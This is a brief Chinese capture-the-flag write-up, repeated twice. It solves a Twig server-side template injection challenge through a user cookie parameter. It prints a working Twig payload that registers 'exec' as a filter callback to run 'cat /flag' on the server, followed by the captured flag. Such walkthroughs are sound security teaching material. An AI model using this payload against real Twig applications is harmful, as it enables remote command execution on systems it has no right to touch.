打开题目
查看页面源码
点击hint查看源码
提示看cookie,burp抓包查看cookie
试一下
尝试{{7*7}},发现ssti漏洞,判断是twig
抓包,发现user为注入点
输入payload
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
得到flag
flag{aa6a537d-b0e1-401e-a363-4304e4c1cdd1}
打开题目
查看页面源码
点击hint查看源码
提示看cookie,burp抓包查看cookie
试一下
尝试{{7*7}},发现ssti漏洞,判断是twig
抓包,发现user为注入点
输入payload
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
得到flag
flag{aa6a537d-b0e1-401e-a363-4304e4c1cdd1}